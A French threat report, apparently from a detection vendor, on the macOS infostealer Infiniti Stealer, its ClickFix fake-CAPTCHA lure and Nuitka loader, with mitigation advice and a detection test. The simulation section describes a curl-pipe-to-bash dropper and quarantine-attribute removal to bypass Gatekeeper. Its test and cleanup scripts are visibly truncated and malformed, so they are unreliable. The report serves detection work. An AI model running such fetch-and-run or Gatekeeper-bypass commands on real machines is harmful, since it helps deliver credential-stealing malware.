SOC Prime Bias: Moyen

30 Mar 2026 15:52

Infiniti Stealer : un nouvel infostealer macOS utilisant ClickFix et Python/Nuitka

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Infiniti Stealer : un nouvel infostealer macOS utilisant ClickFix et Python/Nuitka
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un nouvel infostealer macOS nommé Infiniti Stealer a été repéré en utilisant un leurre d’ingénierie sociale ClickFix pour infecter les utilisateurs. Le malware est construit avec Nuitka, qui convertit le code Python en un binaire Mach-O natif, rendant l’inspection statique plus difficile. Une fois exécuté, il vole des identifiants, des données du trousseau d’accès, des fichiers de portefeuilles de cryptomonnaie et d’autres informations sensibles, puis exfiltre les données collectées via des requêtes HTTP POST. La campagne repose également sur une fausse page CAPTCHA hébergée sur un domaine malveillant pour inciter les victimes à exécuter une commande Bash nuisible.

Enquête

Les chercheurs ont découvert la charge utile lors d’une chasse aux menaces de routine et l’ont d’abord suivie sous le nom temporaire NukeChain avant que le panneau de l’acteur de la menace n’expose le marquage final en tant qu’Infiniti Stealer. L’analyse a révélé un flux en trois étapes : un dropper Bash livré via un faux CAPTCHA, un chargeur compilé par Nuitka, et un module voleur basé sur Python. Le dropper place le binaire dans /tmp, supprime l’attribut de quarantaine et le lance tout en passant les détails C2 via des variables d’environnement. La dernière étape collecte des données à partir des navigateurs, du trousseau, des portefeuilles et des fichiers liés au développeur avant de les envoyer au serveur contrôlé par l’attaquant.

Atténuation

Les utilisateurs ne devraient jamais copier et exécuter des commandes à partir de sites web inconnus, en particulier les pages prétendant vérifier des défis CAPTCHA. Les défenseurs devraient inspecter et supprimer les fichiers suspects dans /tmp or ~/Library/LaunchAgents, effectuer une analyse anti-malware de confiance, et changer les mots de passe de tous comptes potentiellement exposés depuis un système propre. Tout jeton d’API actif ou clé SSH qui pourrait avoir été collecté devrait également être révoqué.

Réponse

Les équipes de détection devraient surveiller le script dropper et le binaire compilé par Nuitka en surveillant la création de fichiers dans /tmp qui correspond au schéma de nommage décrit. Les alertes devraient se déclencher lors de l’exécution de la commande Bash malveillante et sur le trafic HTTP POST sortant vers le domaine C2 identifié. L’accès au réseau à update-check.com and infiniti-stealer.com devrait être bloqué. Un examen légal basé sur l’hôte devrait alors identifier les identifiants volés et soutenir les réinitialisations d’identifiants obligatoires.

« graph TB %% Class definitions section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Node definitions action_initial_access[« ActionT1204.004 User Execution: Malicious Copy and Paste
Description: Victim copies and pastes a malicious command into a terminal, leading to code execution. »] class action_initial_access action artifact_captcha_page[« ArtifactFake CAPTCHA page
URL: update-check.com
Provides copyu2011paste command to the victim. »] class artifact_captcha_page artifact action_execution_dead_drop[« ActionT1102.001 Web Service: Dead Drop Resolver
Description: Uses a web service as a deadu2011drop to retrieve additional payloads. »] class action_execution_dead_drop action process_curl_download[« Processcurl
Command: curl -sSfL … | bash
Downloads stageu20111 Bash dropper. »] class process_curl_download process artifact_temp_binary[« ArtifactTemporary binary
Location: /tmp/
Quarantine flag removed after download. »] class artifact_temp_binary artifact action_defense_evasion_sandbox[« ActionT1497.002 User Activity Checks & T1497.003 Time Based Evasion
Description: Detects virtualization or analysis environments before proceeding. »] class action_defense_evasion_sandbox action action_guardrails[« ActionT1480.002 Execution Guardrails: Mutual Exclusion
Description: Ensures only a single instance runs on the host. »] class action_guardrails action action_file_deletion[« ActionT1070.004 File Deletion
Description: Deletes temporary files and logs after use. »] class action_file_deletion action action_obfuscation[« ActionT1027.005 Obfuscated Files or Information
Description: Uses obfuscation to hide malicious payloads. »] class action_obfuscation action action_collection_input_capture[« ActionT1056 Input Capture
Description: Captures browser credentials, keychain entries, crypto wallet data, and screenshots. »] class action_collection_input_capture action artifact_collected_data[« ArtifactCollected Sensitive Data
Browser credentials, keychain entries, crypto wallet files, screenshots. »] class artifact_collected_data artifact action_exfiltration_alternative[« ActionT1048 Exfiltration Over Alternative Protocol
Description: Sends data via HTTP POST to a remote server. »] class action_exfiltration_alternative action artifact_c2_domain[« ArtifactC2 Domain
update-check.com »] class artifact_c2_domain artifact artifact_telegram_notification[« ArtifactTelegram Notification
Attacker receives status updates via Telegram. »] class artifact_telegram_notification artifact action_lateral_tool_transfer[« ActionT1570 Lateral Tool Transfer
Description: Downloads additional payloads on demand for further compromise. »] class action_lateral_tool_transfer action artifact_additional_payload[« ArtifactAdditional Payloads
Downloaded as needed for later stages. »] class artifact_additional_payload artifact %% Connections showing flow action_initial_access –>|delivers| artifact_captcha_page artifact_captcha_page –>|triggers| action_execution_dead_drop action_execution_dead_drop –>|uses| process_curl_download process_curl_download –>|writes| artifact_temp_binary artifact_temp_binary –>|enables| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|includes| action_guardrails action_defense_evasion_sandbox –>|includes| action_file_deletion action_defense_evasion_sandbox –>|includes| action_obfuscation action_file_deletion –>|removes| artifact_temp_binary action_obfuscation –>|obfuscates| artifact_temp_binary action_defense_evasion_sandbox –>|leads_to| action_collection_input_capture action_collection_input_capture –>|captures| artifact_collected_data artifact_collected_data –>|sent_via| action_exfiltration_alternative action_exfiltration_alternative –>|targets| artifact_c2_domain artifact_c2_domain –>|notifies| artifact_telegram_notification action_exfiltration_alternative –>|enables| action_lateral_tool_transfer action_lateral_tool_transfer –>|downloads| artifact_additional_payload « 

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôle préalable de télémétrie et de base doit avoir réussi.

Narration et commandes d’attaque

Un attaquant livre un lien de phishing qui, une fois ouvert sur un poste de travail macOS, exécute la commande suivante en une seule ligne dans Terminal. La commande :

  1. Télécharge une URL encodée en base64 (l’hôte de la charge utile) via curl -sSfL.
  2. Décode la chaîne base64 pour révéler l’URL HTTPS réelle.
  3. Exécute le script téléchargé avec bash.
  4. Exécute sous nohup pour le garder actif après la fermeture du terminal.
  5. Supprime l’attribut de quarantaine (xattr -dr com.apple.quarantine) pour contourner Gatekeeper.

Ces étapes produisent exactement les fragments de ligne de commande que la règle Sigma surveille, générant ainsi l’alerte attendue.

Script de test de régression

#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulation d'infection par Infiniti Stealer (macOS)
# ------------------------------------------------------------

# 1. Construire la commande malveillante en une seule ligne (exactement comme la règle l'attend)
MALICIOUS_CMD="bash /dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Exécuter la commande
eval "$MALICIOUS_CMD"

# 4. Attendre quelques secondes pour permettre l'ingestion par le SIEM
sleep 5

# 5. Afficher un marqueur pour la vérification manuelle
echo ">>> Simulation exécutée – surveillez le SIEM pour une alerte <<<"

Commandes de nettoyage

#!/usr/bin/env bash
# ------------------------------------------------------------
# Nettoyage après simulation d'Infiniti Stealer
# ------------------------------------------------------------

# Tuer tous les processus nohup en arrière-plan démarrés par la simulation
pkill -f "bash /dev/null || true

echo "Nettoyage terminé."

Fin du rapport